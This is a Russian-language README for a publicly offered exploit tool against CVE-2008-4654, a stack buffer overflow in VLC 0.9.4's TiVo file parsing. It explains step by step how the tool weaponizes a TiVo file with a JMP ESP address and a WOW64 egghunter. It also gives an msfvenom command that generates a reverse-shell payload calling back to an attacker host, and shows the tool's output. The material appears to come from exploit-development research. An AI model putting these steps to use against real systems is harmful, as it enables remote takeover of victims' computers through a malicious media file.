CVE-2008-4654

Полнофункциональный эксплойт для уязвимости переполнения буфера на стеке CVE-2008-4654 в VideoLan's VLC Media Player 0.9.4 при обработке TiVo-файлов. Он нацелен на 32-битный бинарник, работающий на 64-битной системе Windows, и использует WOW64-еггхантер для обхода ограниченного пространства стека.

Использование

Обновите скрипт:

• Замените заполнитель buf = b'[...]' в скрипте на ваш собственный шеллкод (например, из msfvenom).
• При необходимости настройте шеллкод EGG_HUNTER_WOW64, если вы хотите другой тег или используете собственный еггхантер.

python .\CVE-2008-4654.py --help

CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - от Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)

использование: CVE-2008-4654.py [-h] --input INPUT --output OUTPUT

Преобразует заданный TiVo-файл в оружие с предопределенным шеллкодом.

опции:
  -h, --help       показать это справочное сообщение и выйти
  --input INPUT    Путь к входному TiVo-файлу для преобразования в оружие.
  --output OUTPUT  Путь, куда будет сохранен измененный (преобразованный в оружие) TiVo-файл.

Как это работает

• Скрипт ищет определенный байтовый паттерн (TIVO_PES_FILEID) в TiVo-файле.
• Он перезаписывает 4-байтовое поле (на 20 байт после паттерна) значением b"\x00\x00\x00\xff", что создает чтение за границами, приводящее к переполнению стека.
• Затем он заменяет другую область (92 байта после TIVO_PES_FILEID) пользовательской полезной нагрузкой.
• Полезная нагрузка включает:
  • Адрес JMP ESP, направляющий выполнение на стек.
  • Еггхантер для WOW64, сканирующий память на маркер w00tw00t.
  • Большую пользовательскую полезную нагрузку шеллкода (вторая стадия), размещенную после маркера, за пределами ограниченного пространства стека.
• Когда VLC обрабатывает модифицированный TiVo-файл, он в конечном итоге вызывает переполнение и запускает еггхантер. Еггхантер находит полный шеллкод и выполняет его, обходя ограничения размера стека.

Пример

Генерация полезной нагрузки

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.150 LPORT=6666 -a x86 -f python -b '\x00'

Создание TiVo-файла

• Замените заполнитель buf = b'[...]' ранее созданным шеллкодом.
• Загрузите образец TiVo-файла с https://samples.mplayerhq.hu/TiVo/.

PS C:\ > python .\CVE-2008-4654.py --input .\test.ty --output .\hazard.ty

CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - от Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)

[+] Found TIVO_PES_FILEID at offset 0x300000.
[+] Replaced 4 bytes at offset 0x300014 with 0x000000ff.
[+] Replaced 685 bytes at offset 0x30005c.
[+] Successfully weaponized: .\hazard.ty

Примечания

• Эксплойт работает только на x64 Windows из-за использования WOW64-еггхантера. Чистый x86-подход потребовал бы стандартного еггхантера, подходящего для 32-битных систем.
• Для данного конкретного вектора нет других плохих символов, кроме \x00, что упрощает генерацию полезной нагрузки.
• Для более глубокого изучения еггхантинга и тонкостей WOW64 обратитесь к статье Corelan о WOW64-еггхантере и документу Мэтта (Skape) Миллера.

Ресурсы

• https://nostarch.com/bughunter
• https://nvd.nist.gov/vuln/detail/CVE-2008-4654
• https://hexastrike.com/resources/blog/exploit-development/vlc-stack-based-buffer-overflow-exploiting-cve-2008-4654-with-a-wow64-egghunter/
• https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/
• https://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
• https://samples.mplayerhq.hu/TiVo/